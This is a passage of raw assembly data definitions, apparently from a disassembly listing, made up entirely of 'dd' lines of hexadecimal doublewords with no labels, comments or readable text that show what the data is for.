		dd 53925208h, 5E5834C4h, 5069C0BEh, 2E0F6856h, 78123B1Fh
		dd 0F2088532h, 0F8F6EC4Bh, 8B192761h, 78059400h, 0E09DE940h
		dd 90910367h, 1F2DE652h, 6FFCFBCEh, 3A3AC5FCh, 83FCE40Bh
		dd 94C20487h, 0FC9BDDC1h, 64B416E4h, 71E49FEBh,	3A286B35h
		dd 7C8991C8h, 6A7035FDh, 0AAC904F1h, 0D6B2811Dh, 0FBB12A5Ah
		dd 30282C2Eh, 0F861C772h, 7D2CE908h, 3D0F42AFh,	6F0716E2h
		dd 66C0C77h, 0CA810705h, 14600AA3h, 5A2AE052h, 0DE32E6BDh
		dd 0CA730412h, 7F92EF75h, 750AAB2Ch, 55531D00h,	0E918F188h
		dd 5BF9747Ch, 8DE348C0h, 0F601EB01h, 61E951D3h,	9520922Fh
		dd 7FFC2800h, 9A011FA4h, 328D2024h, 3DB0799Dh, 0A72DB11Eh
		dd 6843B65Bh, 84FC95BAh, 505971C7h, 5AB32D6Ah, 0F618C42Dh
		dd 1F4840FFh, 810077C7h, 1D15DCE2h, 50EAC17Ah, 351B406h
		dd 0E901C814h, 76601233h, 9262B8DEh, 0A109073h,	386E2103h
		dd 0BA2412AFh, 90993D76h, 1CB16B7Bh, 857875D6h,	0E1C7BFCDh
		dd 504B5C19h, 0CDC084A7h, 1B4C2868h, 0BDA6D6CAh, 2032B413h
		dd 6E4B5D71h, 25B90B4Bh, 0C820841h, 77DA2254h, 88096CD3h
		dd 58A199CEh, 68A3026Fh, 4C556AF0h, 144B00ADh, 0ED8111CAh
		dd 0E25C9F5h, 89B35492h, 0F3A936A9h, 996994FFh,	2F28B2CEh
		dd 719F98C6h, 310B609Ah, 591362DFh, 6EEE1D1h, 0E30E5637h
		dd 8BDCF300h, 0A92D9D99h, 1FB00176h, 4AE9D829h,	0FB5AAD03h
		dd 302BA894h, 0B7108824h, 0F97908EDh, 2E257337h, 0D4FB2BEFh
		dd 5A2D81C6h, 0D4632C05h, 0E1170F6Bh, 90D5B7Fh,	0D1F82E1Eh
		dd 20BB3D37h, 0A70BBD2Ch, 0A803EA5Eh, 0E1762A0Eh, 189477C9h
		dd 42059A5Eh, 86086833h, 2B3977Ch, 0F9ED8F9Eh, 8FA69A79h
		dd 4DF34EDDh, 204CAD57h, 0BDB234h, 0F5A3C587h, 5E973122h
		dd 0BA0E0453h, 5D9C432h, 0FACE01FFh, 124EEBDEh,	0AF960465h
		dd 19540A37h, 0CC9DBE9h, 0C717A48Eh, 5752C009h,	2C07E30h
		dd 441D1ED1h, 56104ACBh, 680E70CEh, 0EF1261D3h,	575F559Ah
		dd 1895E066h, 49505627h, 11A48800h, 0C9046681h,	6005C5Ah
		dd 7FC0BB53h, 5C715864h, 43C8500h, 445C6817h, 1F24697h
		dd 5A604337h, 6FFE22E9h, 2C97D3D1h, 0D09F326Ah,	0FE03C37Eh
		dd 0CBB252C8h, 2436D630h, 0BD770BEEh, 0FAC2CA16h, 6C269937h
		dd 0EFBF0710h, 0A544A242h, 58069274h, 5B34A8D2h, 0C2BF422Eh
		dd 39E80D01h, 12BFC381h, 8D107F6Ah, 450761AFh, 9E55BE36h
		dd 7C80C985h, 4B9809B1h, 2FDA513h, 0A95D5A08h, 0C0B85D8Ch
		dd 10647DE9h, 6CC04B6Ah, 40125581h, 4317577Ah, 4BFCA68Eh
		dd 0A48C312Fh, 230D097Eh, 0FE897D74h, 0DD17802Ah, 360E8246h
		dd 0BBD782Dh, 0B7F740A0h, 1DFF9A79h, 1D671FBEh,	37E3A74Eh
		dd 323FB6D6h, 0EE83970Eh, 0D63010E8h, 7E8BF618h, 0BADF29F8h
		dd 0DD685502h, 0FD05E641h, 0FD293DE4h, 21E220A5h, 0B13E1EDAh
		dd 7F313D61h, 895E5D7Fh, 0A37A0CB1h, 0B59884B1h, 4EB75303h
		dd 0A8F105C1h, 1ABC3510h, 0A609FB2Ch, 668F5477h, 6B9806F6h
		dd 987D5A9Fh, 4AA1906Fh, 0D97E17D4h, 6E17715Ah,	0E98251E2h
		dd 9F488E75h, 31240CEh,	0EB1513C5h, 0E4F559AAh,	0AB386BBh
		dd 0DEF7961Ch, 0EE448D4h, 0D20BFCE4h, 321504FEh, 464553FFh
		dd 8EFF6A14h, 1D257E27h, 1C985D6Dh, 3E0BB52Bh, 0A0F3891Ah
		dd 714B418Fh, 0DE292839h, 5B0880E1h, 0E6E4FFD1h, 6CB1EC27h
		dd 6E329478h, 69659D16h, 7F2FDE09h, 0CE99DE99h,	0E6809681h
		dd 0CAC6CC6Bh, 46A25BB7h, 0B4263787h, 778B134Eh, 0BDCFE63Ch
		dd 18BBBFA0h, 16099423h, 8605EBC1h, 4346BECh, 0B94EA8B8h
		dd 62C6AE25h, 0ECE91839h, 0D2F620A6h, 5B40C8B0h, 9C534C52h
		dd 0BA0ED530h, 0A03D57DCh, 3C261A7Eh, 0DE017FBAh, 53438568h
		dd 0E402A2h, 0DE34C2BDh, 0FC095E41h, 0A2B64E60h, 6F76F20Bh
		dd 0DF614802h, 22C4CC7Dh, 0DABF21E3h, 48E9BE6h,	0EA6416E9h
		dd 12F21B4Fh, 67C7334Ah
		dd 0BED08h, 0EF807EB7h,	7E6C06Ch, 93CB43BDh, 2B1628FFh
		dd 96F55CC1h, 0FF8CBED2h, 0B8CEE221h, 1DB514D3h, 845E4801h
		dd 5A0ED258h, 0E95D5B57h, 1F78522h, 84205AC4h, 9969831h
		dd 1DE27189h, 6C914077h, 0E06DCE0Dh, 0AA3A81E4h, 0ABC6F88h
		dd 5B4D2034h, 10716ECh,	0EA47CA7Ah, 42C9DB7Ch, 6806C477h
		dd 0C61E752Dh, 3BE1010Eh, 3DE96BFAh, 0DE277D97h, 10425FD2h
		dd 7C795968h, 0ABB36263h, 0CB80F040h, 16EE434Bh, 0F77EB0DEh
		dd 52B506C1h, 0D1C8DA88h, 2911B85Ah, 73F8C97h, 0D3554FA3h
		dd 7ACA6852h, 6E03FCCh,	410DD87Ah, 1D5C63E9h, 40A12D34h
		dd 6C975B4Ah, 59CE2CBDh, 2C004B77h, 73954028h, 7209F9B0h
		dd 80763B48h, 0C0218073h, 0DA019D15h, 81AF2EE9h, 231CEDFDh
		dd 0C820C2Ah, 1487394Ch, 0F80B4B57h, 4F2F2593h,	0E588E429h
		dd 0DAF8CA17h, 1735FB9h, 3F7FD205h, 38F1E931h, 0EBBA00ABh
		dd 0BB104332h, 0D88C1F13h, 49E7C93Ch, 4F7EE266h, 0E43C326h
		dd 793A013Bh, 5EF731CDh, 280FF43Bh, 5BB0AF92h, 99559EEh
		dd 619C7954h, 0DD99EA80h, 2864E47Dh, 0B151D00Fh, 12F180BCh
		dd 0B38169E9h, 0DA5A09C8h, 0ED2F185Dh, 3FEE058Dh, 0F8376F68h
		dd 587FC096h, 17212C9Bh, 0E808E9D3h, 0E64B7FA5h, 0A1B4EEECh
		dd 0EED10C35h, 0BAA42795h, 2110F7C9h, 0E50DD52h, 6A75E4D4h
		dd 0EDD17514h, 11B601B1h, 0C4E949AFh, 4ACFB50h,	0E8D7E4AEh
		dd 0D828177Bh, 8587F253h, 18C5F3E9h, 2EE0DDABh,	0F2847AB2h
		dd 0F729157h, 700D484Eh, 0F7FE0AAh, 2D0C0444h, 5A26BED1h
		dd 0FD892AC0h, 0DDD4152Ch, 520B4E1Fh, 0FBD0315h, 0D0BBA59h
		dd 99326B0h, 0AC8877CFh, 160C3408h, 4C9B0B14h, 49F8DA1h
		dd 0F7914060h, 0E22619D1h, 8030712h, 1C783h, 6F788B18h
		dd 89B85077h, 0E2458517h, 9E18C0E8h, 5FF8CD52h,	0DEF4C1F4h
		dd 3B90344Dh, 0FC4FA557h, 3EE7A47Ch, 5C931ECh, 0AE03790Bh
		dd 9D57844Fh, 0AF8A24EBh, 4F74318Bh, 0E1FCF81Ch, 2D00F5D1h
		dd 5B094BDDh, 86C82903h, 489F2A60h, 1907E2E6h, 0D238351Fh
		dd 0DB820567h, 0F95C5966h, 51BC2834h, 250F993h,	632B02BDh
		dd 0B0CF432Eh, 9E5814Dh, 105F49ECh, 3FA18FDFh, 1848A744h
		dd 153966C1h, 0A35A5A93h, 0FB9540BBh, 816E9B7h,	0F40987DBh
		dd 4EDD7283h, 9E6BB0CFh, 3B9B265Ch, 0EE765FBh, 5D28C25Fh
		dd 0F8DBB00h, 0FC754B30h, 0F25A738Fh, 10412CB6h, 779EE06Eh
		dd 0D16ECC24h, 0D401AD3Dh, 791253E9h, 39CA9C7Eh, 34E5EC3Fh
		dd 0A5B5B85Eh, 0EBA331ABh, 5C1A8A17h, 0FC42D531h, 11BF5F4h
		dd 0AF81CB5Eh, 236B109h, 0E323400Bh, 7EA4E02h, 0F0BE080h
		dd 8090122Ah, 5BA6D40Bh, 30DDDEECh, 0B01911A2h,	0DC490C28h
		dd 0B14C2AE2h, 0AEC50158h, 9F607EEh, 1BC92871h,	330F534h
		dd 805B66DCh, 0F49A69C4h, 0AA540740h, 0ABB47999h, 68F285ACh
		dd 916AD057h, 86774B43h, 7033D108h, 0D43112C2h,	0FAD202AEh
		dd 56C05037h, 7D82B648h, 4C5F3C62h, 0C3682E91h,	25E98667h
		dd 3126152Dh, 0EA6C1F47h, 0A44B247Ah, 52D808EBh, 0DE46027h
		dd 9458AC41h, 8F3802E7h, 0D6E04A19h, 440C368Ch,	80DA0906h
		dd 739E09E2h, 9F896A2Eh, 0D6F725C0h, 0F77ACB0h,	40A7BB99h
		dd 14708673h, 0AC505B19h, 29012516h, 0FEBF04EFh, 112DD8Eh
		dd 0CE19FEF8h, 58DCDED3h, 0EC2EE1C7h, 52BAE45Dh, 8A260B0Bh
		dd 0ACF364AEh, 0C868F0ADh, 0C487C478h, 895D048Ch, 295984AFh
		dd 86CB722Eh, 9D66161Bh, 569FC671h, 1827AD0Dh, 85D4AC2Eh
		dd 9824184Bh, 420401BBh, 6FD2B5F1h, 69A31EB0h, 0B9AF85E3h
		dd 52758025h, 4F83BF8Eh, 145AE39h, 0D3EF81DFh, 83F12685h
		dd 0A74B9496h, 48E40460h, 0BE127C5Bh, 3D4C0F06h, 3E585836h
		dd 4811BFE1h, 3D1371FFh, 40D6830h, 0E42C0D6Dh, 46B1E90Ch
		dd 0F0BF5446h, 0BF46C065h, 3F0A8E5Ch, 6BC8EC0h,	782966B1h
		dd 8C751CFh, 4E3B9C43h,	2945F4BBh, 7FCA4E5Eh, 0E43C5B48h
		dd 1D413BC1h, 0DF5CDCF5h, 0B1A8EDF4h, 23688510h, 40E2F201h
		dd 0EF69BBFBh, 0EDB00012h, 0B004300Ch, 83F5046Fh, 0A6051B45h
		dd 74FB12D7h, 7E3A39FBh, 0D1032651h, 0EA75EF6h,	2774AE93h
		dd 63EC0A98h, 21C97F5Eh, 932CC252h, 0E740ABE3h,	7D541D60h
		dd 45304569h, 8E92F601h, 43D4578Bh, 87B798EFh, 6D185414h
		dd 78E00EA9h, 7DE94299h, 0D9F60240h, 0B0C93DCh,	58FE6235h
		dd 0B14FD0CCh, 0A6233F77h, 6995DC68h, 86B50404h, 0C32ACF89h
		dd 0B702B820h, 0DBE638EDh, 0D484D75Ah, 0E3A0A499h, 0CBE168CDh
		dd 0EBEA8520h, 24EE5DDAh, 0D60B9EC9h, 0B25F49AEh, 62715738h
		dd 2DF1E008h, 800DFD80h, 7127FB04h, 3C0DF492h, 35367C80h
		dd 0D6F00506h, 15DE5FAh, 1295D49Bh, 0DF045157h,	77EBE710h
		dd 2CDFB38Ah, 0C231A609h, 0FA1DE458h, 24EA6968h, 0FC45CE57h
		dd 1262FBCh, 53043E2Fh,	1CFAE2D5h, 0FB655668h, 0A9A8974Ah
		dd 13AD97BEh, 60DC769Ah, 27CCAD53h, 74336076h, 28415EB9h
		dd 0E1815501h, 1FB770B5h, 6FA4802Bh, 819D6342h,	67E46814h
		dd 0B95A3D8Dh, 56B22E0Ah, 1051E293h, 4E50F128h,	77F61322h
		dd 0C8FE7C8h, 55413568h, 90066081h, 0E6B725B0h,	0C595C7E0h
		dd 0D7F6078Bh, 8004DCFEh, 0A148E72Fh, 586FE992h, 59D9EC25h
		dd 0BBB28C2Bh, 53975ABCh, 36A54C0h, 71719D07h, 508BDEA5h
		dd 4C9FBCFDh, 8FB320D6h, 0BF38139h, 8FEE1B23h, 700CA997h
		dd 62BD070Dh, 0CFE14A66h, 486AF376h, 3325C4Dh, 88416FBEh
		dd 0C2CBD77Fh, 0DC985F66h, 3A0523EAh, 0FA0113F9h, 37AC8B81h
		dd 4DC8AA04h, 0FA497159h, 97040E5h, 0F3F8D36Eh,	0CA7F9BF1h
		dd 58591762h, 1B6E8102h, 55C07712h, 0ED0AE496h,	0CCC801E9h
		dd 27C468A7h, 0D7A6AAA7h, 0B0325440h, 0F81093Fh, 77CD3C2Bh
		dd 73A0DD01h, 889A1BF4h, 90F1A21Ah, 122820C7h, 1428FF5Eh
		dd 7D40F1B8h, 1D61C4C6h, 84016905h, 0E3773668h,	290F40C4h
		dd 0B42738FFh, 68A0F5FCh, 0B14225h, 0E62FBEA6h,	7599819Eh
		dd 9AEE7F81h, 6CBD3CEAh, 0F9E95AB9h, 0EFD5E9A0h, 9578EB9Dh
		dd 19BF7CC4h, 60577DF1h, 63C5408Fh, 9BA20789h, 5E612C7Dh
		dd 0DF4CC2AEh, 0E1B659C6h, 54243124h, 0D92EFB22h, 0C4CF4B5Bh
		dd 0CAE3844Dh, 9E38571Eh, 0CF11603h, 5F1E9AA4h,	2049F0BDh
		dd 88241291h, 70A57864h, 345E4D13h, 6A81BD3Ah, 0C58175F7h
		dd 0CCCDE1FEh, 0AEB647E9h, 489AF233h, 0E806DBB7h, 2E03C350h
		dd 517EA76h, 38AA89F4h,	5F2D09FEh, 0BF6D441Ch, 0E940AB59h
		dd 9B010A6Ah, 0DA56A5A6h, 0FE25182Bh, 447F7ADDh, 70681EFEh
		dd 74242D21h, 0AF17EAE6h, 2AE12DFEh, 0E23BD5CDh, 4F4A1240h
		dd 0C9143589h, 9536E188h, 815C7689h, 0E9DA2152h, 0F6639208h
		dd 0C0CB97DFh, 0FFF82D98h, 4598BFEEh, 0EA791E01h, 0F5FCE92Fh
		dd 0DF70AD2Bh, 6B44B813h, 30BF5F68h, 78BA6607h,	9B404B5Eh
		dd 0DCE91C1Dh, 7968BDD0h, 5E0EE281h, 0CE508D46h, 0DF0B7CF2h
		dd 460FD734h, 3A0DF6E0h, 29275916h, 0BCB1A2F3h,	68550093h
		dd 0FC1F15E6h, 44095D5Bh, 0F406291Fh, 9657727Fh, 0C50E88ABh
		dd 0F05618FAh, 5CF0C1Bh, 546B602Dh, 0B008A078h,	6126096Ah
		dd 84861257h, 82E3A07Dh, 3B1765CAh, 52E6801Dh, 0C228D22Dh
		dd 0DD4DDE24h, 0F069A185h, 0B02F50FFh, 27F5D499h, 9C2E6678h
		dd 0A4BD9AE5h, 0D1ACD5EAh, 5B39F15Bh, 0E909E076h, 445A4174h
		dd 84189900h, 7E0C111h
		dd 2A770E0Dh, 10A02E49h, 51E1959h, 5F0C3C0Eh, 0CE96AF5Eh
		dd 69C7F35Bh, 0AB134E14h, 10354214h, 5626DC98h,	3C670517h
		dd 81F20EEFh, 0B766618Fh, 2F030C17h, 894F94CFh,	0AB05F8FEh
		dd 1EA22620h, 72D1452h,	2F02895Bh, 0B32F2F79h, 0B10BD632h
		dd 2D26C092h, 0F220242Bh, 0BC81FCAh, 2D7CFAD8h,	52A7D669h
		dd 0E03DA255h, 8B9CFF8Ah, 1275648h, 0E906224Eh,	2982EB8Eh
		dd 64315AEFh, 8CCC20D5h, 7D7DA9ADh, 249F63E9h, 3AB92CB3h
		dd 13F25E2h, 0E95306A7h, 4EF83C41h, 0BCD663BDh,	0B84192DEh
		dd 0B4709F5h, 0BFFBB530h, 3C1D6A68h, 805024BCh,	0CE719590h
		dd 1D3E5BFh, 40F2E8D2h,	1340753Ah, 8E5E343Ch, 9DE90C2Eh
		dd 91DF93A9h, 0C318312Ah, 813B59FBh, 0D1646DF8h, 88DA016Ch
		dd 0E906088Bh, 0EC27DAA9h, 0B9501E18h, 0F0FED20Fh, 3A3168A3h
		dd 7FBBBD54h, 3F06993Eh, 5DE9B79Ch, 5F25B38Ch, 0C47A7C8h
		dd 2C1DBE80h, 1CED237Ah, 0CA1141EEh, 6F466810h,	0E06C44D8h
		dd 0E9611372h, 0C0EE8786h, 52F82826h, 803CB607h, 0F08416EEh
		dd 0A7BF9CD4h, 1E17DDBBh, 848EA0D8h, 0DA693441h, 370C694h
		dd 407C6939h, 309FF05h,	0F51D63E9h, 4CC2A11Ah, 0C2ADA55Dh
		dd 16A9DD01h, 4B594A5Eh, 17B73D30h, 90620779h, 0F886449Ah
		dd 0E5659D41h, 0F128F82Ah, 4E41228Ah, 29D1576Ah, 39A7463Eh
		dd 0C3841CB3h, 0CE8F5E39h, 0BCA759E8h, 94EC51ADh, 57013E2Ch
		dd 42E2C44Fh, 5568012h,	0E6021626h, 4FD0D6Bh, 2D494112h
		dd 5E9408F4h, 5912A27Ah, 0B36D4FE8h, 1AE94700h,	0EF1C9C3Bh
		dd 0F9F02C69h, 0E3A3898h, 0D7091F15h, 8DE43E1Dh, 60388048h
		dd 4FB3F73Dh, 43B7677h,	467C52EBh, 0D2D4EF19h, 7F5F0809h
		dd 0F712BAE5h, 0DC909EAh, 0F162EF54h, 0DD47573Bh, 0C1B4ACB9h
		dd 0C82127BFh, 171CEF73h, 0E91060ACh, 0ED42D6D2h, 0A84F2D68h
		dd 5209B932h, 0D0051096h, 74302802h, 6CE701E7h,	0D7E979E5h
		dd 0DC4440EFh, 0F34B7DDBh, 4DA8DAA0h, 0AE3845CAh, 8C0EE71Eh
		dd 0E0633319h, 8ABF5705h, 5481A643h, 0DE2439ABh, 0F2294488h
		dd 31B5327Ah, 862F592Dh, 760B3E86h, 0F858CC78h,	814F02B5h
		dd 120611CFh, 7663E2DDh, 0F3412557h, 0C3982F53h, 9DD49249h
		dd 0BBF84263h, 45092B03h, 5ED3F707h, 228E2D21h,	48E91838h
		dd 4C59A3C9h, 16E25EA6h, 0C876EE16h, 16D705A2h,	0FC2901A3h
		dd 0F4D026FDh, 0BD8DD02Dh, 455D949Ah, 3E842A4Dh, 0B19B1D2Dh
		dd 1EEBA238h, 7FE955A0h, 0F764716Bh, 0D420CF2Fh, 2D17BE8Fh
		dd 0E2B950Bh, 2EDC847Eh, 0C210E510h, 0AEB50988h, 9815628h
		dd 0ED76A170h, 2C4CFBEBh, 14212F8Ah, 7F6F4B68h,	3591C530h
		dd 703948DFh, 0E659FA04h, 97DCC048h, 0F24F0D98h, 11A8F2C4h
		dd 833BDF01h, 6F295A1Ah, 3D4F9DA2h, 78CA3B00h, 0A364CE64h
		dd 44BC9635h, 0C1CDD430h, 43305CB5h, 9060C6Fh, 0D1F6A103h
		dd 80E9444h, 0AB53CB50h, 878CC081h, 7E2C0968h, 0FB70D6F7h
		dd 0B60094F4h, 0F5312A51h, 4B26E95Eh, 1745F3E8h, 0EE631556h
		dd 60F9A2DAh, 93B26370h, 841009D8h, 0F6949CC4h,	5102A4A2h
		dd 0F72AF93Ah, 0ABB540D7h, 0B3F2632h, 687403B8h, 0DDF20C4Fh
		dd 0DB03DFF6h, 50738B54h, 5A0D151Eh, 7FC0BC2Ah,	6D1482E6h
		dd 6CA1EF8h, 37C30AC1h,	0FE12170Ch, 524BCAFh, 487706ACh
		dd 0BA205EFh, 2C00BF87h, 0AF835D0h, 53E02B3h, 0C266649Eh
		dd 293D8375h, 883C05FEh, 10783263h, 5F2F248Fh, 0D11CD67Eh
		dd 229AE9C2h, 0A6CC7901h, 5AEB6F29h, 0F13144C0h, 6FD05E65h
		dd 1503AC0h, 0BE5603CDh, 4E7355C6h, 51085400h, 6A2B14B9h
		dd 86F09533h, 3061F498h, 5AD32844h, 0ADE8D8C1h,	96CE144h
		dd 0A111D2A7h, 0C7C87809h, 171617C4h, 6838E237h, 0DDC1E89Bh
		dd 0FF85C35Fh, 0DAABB074h, 209850F6h, 21DB580Bh, 81745C4Ah
		dd 0CFD6C7F2h, 0EEC22A12h, 2C074C4h, 6640062Dh,	0AA9A7963h
		dd 93279875h, 4EECB652h, 0BC92AAD3h, 0A8EBDF5Bh, 8D246D0h
		dd 50209BB8h, 665A2778h, 68E82CD0h, 0F920132Dh,	65B9076Dh
		dd 6586C95Bh, 0CE920AB3h, 0B0FB520h, 25306856h,	0D9CBB5E6h
		dd 0F71F0202h, 0F1820E23h, 84F35450h, 149857A7h, 46029005h
		dd 0F8016186h, 0F1078B2Dh, 0F33612B1h, 6F0633B9h, 2DF278D3h
		dd 8474E799h, 0C1356E50h, 4677B826h, 20227110h,	392DB7Ch
		dd 968B45B7h, 54C69305h, 3E74C9F7h, 4FF1E979h, 76768704h
		dd 5B5BF1BFh, 6809B0E3h, 0E73112A5h, 4F3E688Eh,	259609ADh
		dd 167BA91Eh, 8E244AC5h, 0BA98B6F5h, 0E9D3805h,	182D763Fh
		dd 0EE29C70Bh, 7B39F6D9h, 2EFD2C09h, 1F39251h, 74174033h
		dd 11E7300Ch, 9D24D2BEh, 2911265Eh, 12B41EEh, 8F202021h
		dd 3BB5640h, 46195E95h,	0F550D368h, 90B57111h, 4B44948Fh
		dd 109BF48Dh, 7FFE4009h, 48145E29h, 4022340Ah, 25355818h
		dd 0DC0961A9h, 51693468h, 0B086A00Ah, 0D07E803Eh, 0BD5F3ED9h
		dd 0B57FE4DAh, 47580198h, 38135E73h, 0EA0001FFh, 0C8922CE3h
		dd 0D03A282Dh, 0E9F07204h, 0DD13CE4Ah, 0F28801FAh, 30A36086h
		dd 574A0FDEh, 0BBA064h,	350DD740h, 3D5AE956h, 0D237F017h
		dd 777BEBB2h, 0C3A8CFC7h, 40EA35D3h, 0F905F1D9h, 0C48A2916h
		dd 280B2DCAh, 0C3CC719h, 0E90F408Fh, 0D2FD6227h, 0BF69313Ah
		dd 0F5362C16h, 58793C9Ch, 4B02124Dh, 0AA2EC0FBh, 0BEC6D294h
		dd 3F235D07h, 0F50303E5h, 3B0C68C9h, 0A14D0C1Eh, 0D7B8D7D6h
		dd 5A50AB10h, 0C3771A4h, 462D215Dh, 0E912110Eh,	0A7A07E36h
		dd 0A9C0A147h, 0FE00B516h, 80D534C0h, 4C28BFEBh, 25E16C3h
		dd 52515ACAh, 782C2EC0h, 1320893Fh, 30EEDF7Eh, 7F71630Ah
		dd 7C010311h, 71580C90h, 68046020h, 60F62EDh, 26C500FBh
		dd 0F710AC58h, 0DACDB4Eh, 0EEF11660h, 0E924FC5Ah, 878BCD17h
		dd 8B85D04h, 55CC0931h,	12E9CF75h, 0C80123EAh, 547B55B4h
		dd 58C5835Bh, 2EC569BAh, 5FCB00A0h, 0D2B4A2C4h,	160E1344h
		dd 0EDDD77A5h, 9055E824h, 9A05E6E1h, 68D80951h,	30B361CEh
		dd 2D1BEDDh, 0D484B1Eh,	0A2C648C2h, 0C104BED5h,	0A3645169h
		dd 18680A71h, 13BC154Bh, 1FE665A6h, 28937100h, 0E4DBA2B9h
		dd 43E98C08h, 215F136Ah, 291D4D62h, 55360567h, 0DB27333Ch
		dd 75FE95F2h, 0EC4AE079h, 582DEC10h, 0D09F1346h, 0A6535A9Fh
		dd 0E95B0650h, 430F3F8h, 0B57E2FBEh, 0E3D0FE02h, 2E544DE7h
		dd 12702EC0h, 0B6800D9Bh, 688225ACh, 2A301A33h,	0A096DD0Eh
		dd 0B0E9023Dh, 0E801AAF8h, 27751D2Dh, 63853A5Dh, 0F606C537h
		dd 6B69154Bh, 0E5F85ECFh, 591B892h, 5E5A5652h, 20E289FFh
		dd 4FB7C03h, 61552B82h,	12BE34F1h, 0FDE42F97h, 8BEE2FF9h
		dd 16D36D88h, 7CBE9859h, 9A01872Dh, 4C9B63BCh, 22EF753h
		dd 1A5B6A56h, 0CEF6938Ch, 2F9F5788h, 688582DCh,	0C5ED556Dh
		dd 776CA52h, 4191716Bh,	9F88CB01h, 610C3008h, 6560A915h
		dd 2B43F328h, 575D3B32h, 423F869Ah, 0BA6782DFh,	0BE5904E3h
		dd 0D268F380h, 608D9623h, 51F92DA9h, 5AD14250h,	23A05019h
		dd 66E4FE0Ch, 0C281988Ah, 0CB8958DFh, 5381C0F9h, 0A32306BBh
		dd 4B8A2930h, 0B334AEF0h, 7919FAFh, 0B1558B0h, 3215DD3Eh
		dd 4B407C83h, 0B1510159h, 3CC18034h, 0C53E4430h, 2F16F90Bh
		dd 0EE93B1E3h, 0BC9AB856h, 0BAC340D8h, 25F7D74h, 10F522B1h
		dd 98E54D24h, 0A8F038Bh, 0E8312BF3h, 83AC593h, 95011383h
		dd 4DBCE40Dh, 5973C8F9h
		dd 500C1186h, 0FE5B029Dh, 69DDFCA2h, 0B092C65Fh, 10F5AE2h
		dd 0B3D9B26Fh, 5AB87076h, 85C33028h, 0B081926h,	0E9E1B067h
		dd 3E68F337h, 8A8457C9h, 0A813BE60h, 7CAC31BBh,	91EF055Eh
		dd 6B28AB54h, 0DA88C439h, 5413A0FFh, 419B54B4h,	78862C73h
		dd 61ACBD24h, 9B20554Bh, 7327127Dh, 4F0AC0B0h, 83CAC05Fh
		dd 88BAF812h, 6F0968BCh, 806E962Fh, 0B1EE745h, 5E66588Eh
		dd 743A5810h, 43611498h, 0F8205ADDh, 0D6B7AFFCh, 2C9F812h
		dd 1F920DD1h, 710EE057h, 468F61Bh, 0A52630BFh, 0B073C7E4h
		dd 0E91EEC75h, 3B02CF20h, 13A7F787h, 5680F00h, 104C5AF5h
		dd 422286A3h, 0DF893C83h, 0F6609E27h, 68C0E0D1h, 1B522AF1h
		dd 58789F09h, 20025058h, 0F059BFE5h, 5AE2A03Fh,	12D9AD5Bh
		dd 1650AB6Ah, 679740E7h, 0ED6E6D28h, 243DC120h,	84D43BE9h
		dd 8467C380h, 59DCC700h, 0CBB0C100h, 9B06B252h,	0EAC0C2FEh
		dd 0C4172F58h, 45CF69F6h, 0F6465982h, 104C5BB6h, 58F32811h
		dd 0DF151819h, 95012DFFh, 0C55EAF46h, 405E2EC2h, 0C7187003h
		dd 7F6C68Fh, 59EE57FEh,	6B91105Fh, 0CDA0BF64h, 0AD03727Ch
		dd 182FD897h, 0D761C768h, 0A5C09C50h, 0C520D7BBh, 0F3810254h
		dd 0AB3ADF28h, 0F22FAD5Eh, 0A8073088h, 86F3EA55h, 0EDAB3626h
		dd 0CA137126h, 924DCD8Ah, 8C48B906h, 295945Dh, 5F575A6Eh
		dd 0D2C156E2h, 3B8F65FAh, 347ECB8Ah, 0AF1CF819h, 0E9C219B6h
		dd 0B1C496D8h, 290262A0h, 0DB283390h, 4BA0C7F1h, 37E649DEh
		dd 61640CC0h, 68014377h, 3408CEFAh, 0D714100Ch,	0C0B76B20h
		dd 99FED63h, 58390E03h,	0BDF29C5Fh, 0DB6B1A79h,	0A43208A3h
		dd 0A2B98816h, 0ABA66012h, 0B69E7E37h, 44BECA57h, 4010B6EAh
		dd 7713B9BAh, 40B9872h,	5FE65699h, 5CBF129h, 0DA65BA08h
		dd 812F00BAh, 0AD6614E1h, 0CD98634Eh, 65233BDAh, 0BB1AE912h
		dd 0BF5EBA9Ch, 8709776Eh, 0D440F86Bh, 73DE2DEEh, 6EE08B4h
		dd 0BE17F185h, 40CC8004h, 0F3EFC4FEh, 64B23AF1h, 4B0944F6h
		dd 1056082h, 0BD02FCC4h, 427E06D1h, 0AE46F54Dh,	0E9F58704h
		dd 0AAC1AF7h, 68133EE6h, 46CC5DD5h, 5327DDCBh, 4148EC0Dh
		dd 39EC2FD7h, 0BB58AB6h, 0B00E7808h, 8C023037h,	0F3CC771h
		dd 55333627h, 52532110h, 5E638BA0h, 5428DA2Fh, 67444007h
		dd 8905C968h, 4873E9FAh, 4616A120h, 0B0635A93h,	1262BD13h
		dd 0C0CD3111h, 55E9EFFCh, 5FDFA3A1h, 0D6DCF214h, 9EFEE185h
		dd 95E91615h, 77EB2484h, 0ED91D374h, 0B353EC01h, 0B4505216h
		dd 1CE3B2F8h, 0C1E0C280h, 5DE9B5EAh, 0EF822445h, 0DC998172h
		dd 49CF7C30h, 15B13032h, 24A5C3F2h, 2A2ED48h, 106159CEh
		dd 0C2B04129h, 0F8130845h, 394F8EECh, 0DFB27F6Eh, 34B0E9C2h
		dd 0F388F379h, 0D30133Eh, 0CEF8C068h, 820E65DEh, 8ABB127Fh
		dd 0DE5F270Dh, 0F0A41369h, 2800B88Fh, 552575Eh,	4A882E29h
		dd 30CAC72h, 376641FAh,	891EB035h, 1D25F476h, 0E713A30Fh
		dd 4380D55h, 90E50E61h,	75101179h, 0F65C0147h, 16F180D9h
		dd 0E8810692h, 32EAA524h, 58B9E858h, 0EF222A5Ah, 0BBD5C8E3h
		dd 0E83305C0h, 0C0D3F727h, 525AB085h, 3E9AD0Bh,	689023CDh
		dd 0B2B39D2Ch, 0F36CBE17h, 25FDD4AAh, 41A01AA3h, 3B2849CAh
		dd 8D80D4CEh, 0FFEA831Ah, 5B7BE926h, 3A122997h,	0DA8C8112h
		dd 1F440BDh, 74DF94Ch, 463613DFh, 0D94387D2h, 4F579C01h
		dd 68A57FFBh, 0D69CBC1Bh, 3CBBB2F0h, 31AC1E19h,	0ECE02DD7h
		dd 0C45C106Ah, 4BCB0B66h, 442C0E03h, 0D5892E7Eh, 58E614E8h
		dd 2E4CE664h, 25EB9573h, 3797C3F8h, 0FBF2607Fh,	740722C2h
		dd 0F66240ADh, 0CD430C90h, 0EB2F2971h, 99CB41D6h, 0B634E85Fh
		dd 4167BFD6h, 0CA4A3624h, 76AFBF26h, 0A3F9DAB9h, 4005E98Bh
